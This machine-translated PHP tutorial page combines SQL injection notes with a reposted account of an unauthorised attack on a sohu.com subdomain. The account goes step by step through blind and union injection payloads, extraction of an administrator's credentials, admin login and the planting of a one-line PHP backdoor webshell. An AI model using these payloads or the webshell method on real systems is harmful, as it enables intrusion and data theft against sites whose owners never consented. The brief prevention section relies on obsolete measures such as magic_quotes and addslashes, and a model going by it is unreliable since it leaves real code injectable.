Home >Backend Development >PHP Tutorial >PHP SQL injection process analysis_PHP tutorial
Today I learned basic skills about SQL injection from the Internet. The focus of SQL injection is to construct SQL statements. Only by flexibly using SQL
statements can we construct incredible injection strings. After studying, I wrote some notes and have them ready for use at any time. I hope you will understand the basic principles of SQL before reading the following content
. The code in the notes comes from the Internet.
===Basic part===
This table query:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password) ='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union union statement:
http://127.0. 0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
Export file:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1 /injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
INSERT statement:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username ', '$password', '$homepage', '1');
The constructed homepage value is: http://4ngel.net', '3')#
The SQL statement becomes: INSERT INTO ` user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');
UPDATE statement: I like something like this
First understand this SQL sentence
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$ id'
If this SQL is modified into the following form, injection is achieved
1: Modify the homepage value to
http://4ngel.net', userlevel='3
Then the SQL statement becomes For
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
Userlevel is user level
2: Modify The password value is
Mypass)' WHERE username='admin'#
Then the SQL statement becomes
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage= '$homepage' WHERE id='$id'
3: Modify the id value to
' OR username='admin'
Then the SQL statement becomes
UPDATE user SET password='MD5($ password)', homepage='$homepage' WHERE id='' OR username='admin'
===Advanced part===
Commonly used MySQL built-in functions
DATABASE ()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
Function application
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version ()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) is equivalent to angel, decimal
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection /user.php?userid=1 and ord(mid(password,3,1))>111
Determine the number and type of fields in the data structure
http://127.0.0.1/injection/show. php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
Guess the data table name
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
Cross-table query to get the user name and password
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1
Others
#Verify the first password
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1 ))=49
===Injection prevention===
Server aspect
Magic_quotes_gpc is set to On
Display_errors is set to Off
Encoding aspect
$keywords = addslashes($keywords) ;
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
Numeric type
Use intval() capture and replace
String type
Single quotes should be added to SQL statement parameters
The following code is used to prevent injection
if (get_magic_quotes_gpc()) {
//... .
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%" ,"%",$keywords);
}
Useful functions
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
Addslashes()
Reference article:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL) Chinese
http://www.phpe.net/mysql_manual /06-4.html (MYSQL statement reference)
A security check on sohu.com
Published on Hacker Defense Line
Published at http://www.loveshell.net
sohu.com It is a relatively large portal website in China and provides many services including email. It is difficult for such a large website to avoid problems. As the saying goes, the more services there are, the less secure it is! This is true for both servers and websites. I recently learned about Mysql injection, so I did it on sohu.com by the way. A small security check to see if it has SQL injection vulnerabilities.
Looking at the main site of sohu.com, I found that they were almost all static, so I gave up the idea of finding problems on the main site. After browsing directly on the various sub-sites of sohu.com, I found that most websites use Php scripts, and a few use jsp scripts. Based on experience, we know that for systems built with Php, the background database is generally It is Mysql, just like asp corresponds to Mssql. It seems that there are still many possible problems. Due to the characteristics of Php (Php converts characters such as ' in the passed parameters by default, so it is difficult to inject character type variables by default), generally we can only inject numeric type variables. Based on our usual injection knowledge, we know that the parameters passed in the form of id=XXX are generally numeric variables, so we only need to test those connections with php?id=XXX to find the vulnerability! After some careful search , I really found a problematic connection on XXX.it.sohu.com http://XXX.it.sohu.com/book/serialize.php?id=86
Submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
Return to normal as shown in Figure 1.
Then submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
Return no information as shown in Figure 2, it’s empty. It should be that the result of the SQL statement is empty.
From these two Urls, we can guess that the vulnerability exists, because the and 1=1 and and 1=2 we submitted are executed as Sql statements! Then other statements we submitted can also be executed. This It's Sql injected! We can also know that the id variable is treated as a number and is not placed between '', otherwise we will not succeed! If the variable does not filter other Sql keywords, we will be very successful. It may be successful! I have encountered many situations where variables filter the select, which is a dead end in mysql. It’s so depressing!
Since the loophole exists, let’s continue! The first thing is to detect the type and connection of the database. Database account! With high permissions and if the database and web are on the same machine, you can avoid the pain of guessing fields! Submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and ord (mid(version(),1,1))>51/*
Return to normal as shown in Figure 3. This statement is to see if the database version is higher than 3, because the ASCII of 3 is 51! Version If the first character is greater than 51, of course it is 4.0 or above! 4.0 or above supports union query, so you can avoid the pain of guessing one by one! The result here is true, so the database is 4.0 or above, and it can be supported Union.
Since union query is supported, let’s expose the fields of this statement first! It will be very fast to use union to query anything in the future! Submit:
http://XXX.it.sohu.com/book /serialize.php?id=86 order by 10/*
The returned result is normal as shown in Figure 4. It seems that there are more than 10 fields. Continue to submit:
http://XXX.it.sohu.com/ book/serialize.php?id=86 order by 20/*
Return normally, submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/ *
...
When I ordered by 50, there was no information returned! It seemed that it was greater than 40 and less than 50, so I submitted:
http://XXX.it.sohu. com/book/serialize.php?id=86 order by 45/*
...
I finally guessed that the field is around 41! It is said left and right here because some fields cannot be sorted. So we still need to use union to accurately locate the field number is 41, submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32,33,34,35,36,37,38,39,40,41/*
The return result is as shown in Figure 5, haha, it was successful! Which fields will be displayed on the page? It’s clear at a glance! Now let’s continue! Submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4 ,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
The return result is as shown in Figure 6. The detection of the database system is completed! We are very It may not be root, and the database server and web may not be on the same server. In this case, we will not have file permissions! Submit:
http://XXX.it.sohu.com/book/serialize.php ?id=86 and (select count(*) from mysql.user)>0/*
The return result is as shown in Figure 7. There is no read permission for mysql, and I am more sure that the permission is not root! Haha!
Since you are not root, don’t be discouraged, let’s continue! Before further guessing the data, we’d better find the backend. Many times we find the administrator password but can’t find a place to log in. It’s very depressing! Add in the root directory Commonly used addresses in the backend such as /admin and /manage/ all return 404 errors. After guessing several times, I finally got a 403 Forbiden error when trying to admin in the /book/ directory. Haha, this directory exists! But the login page is alive and well. I can’t guess it, I’m depressed! But now that I know there is an admin, let’s search on Google:
admin site:sohu.com
As shown in Figure 8, we got the forum of another sub-site. We know the person It is very lazy. Usually the characteristics of the backend of a place are likely to be the characteristics of the entire website, so when I tried to access /book/admin/admuser.php, a miracle happened, as shown in Figure 9, haha, closer to success. Oh! Now we know the background of the website. In fact, we can also get very important information. Looking at the original file, we found that the name of the login form is name and password. It is easy to deduce the structure of the other party's administrator table, even if it does not match the It’s probably about the same, haha! So you know why we have to guess the background first! Keep injecting! Submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1= 2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
Return error, It means that the admin table does not exist. Try admins, admin_user, etc., and finally submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user (),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24 ,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
when it returns successfully, haha! There is User This table! So is it an administrator table? What are the fields? Continue to submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
Error returning empty information, submit:
http ://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41 from user/*
The return result is as shown in Figure 10. Haha, it returns normally and a password comes out. It should be the password of the first user in the administrator table! So what is his user name? ? I guessed that many fields returned errors. When I had no choice but to enter an ID, the return was successful! The ID is the administrator’s name! Submit:
http://XXX.it.sohu.com/book/ serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
The return result is as shown in Figure 11, haha, I got the administrator’s name! I excitedly took the administrator’s name and password to the backend and logged in successfully! As shown in Figure 12.Now it’s time to think about how to get the webshell. I found a place to upload pictures in the background, but when I uploaded the php file, it prompted that it was not an image file. I was depressed! I carefully rummaged around in the background for a while and found that there was a The function of generating PHP files, so a one-sentence PHP backdoor was inserted into it, as shown in Figure 13. After clicking Generate, the prompt was successful. It seems that if there is no filtering, we should get the webshell. The password is a. Use one-sentence backdoor to connect As shown in Figure 14, haha, it was successful! The script detected that this was successfully completed!
After getting the webshell, I checked on the server and found that the security of the server was good, but the command could not be executed, and basically all Directories are not writable except for the directory we just uploaded. However, as a script test, it is considered successful if we get the webshell! It can also be seen that a small parameter without filtering can lead to the collapse of the website, especially Large websites like sohu.com have more parameters, so you need to pay more attention to filtering issues!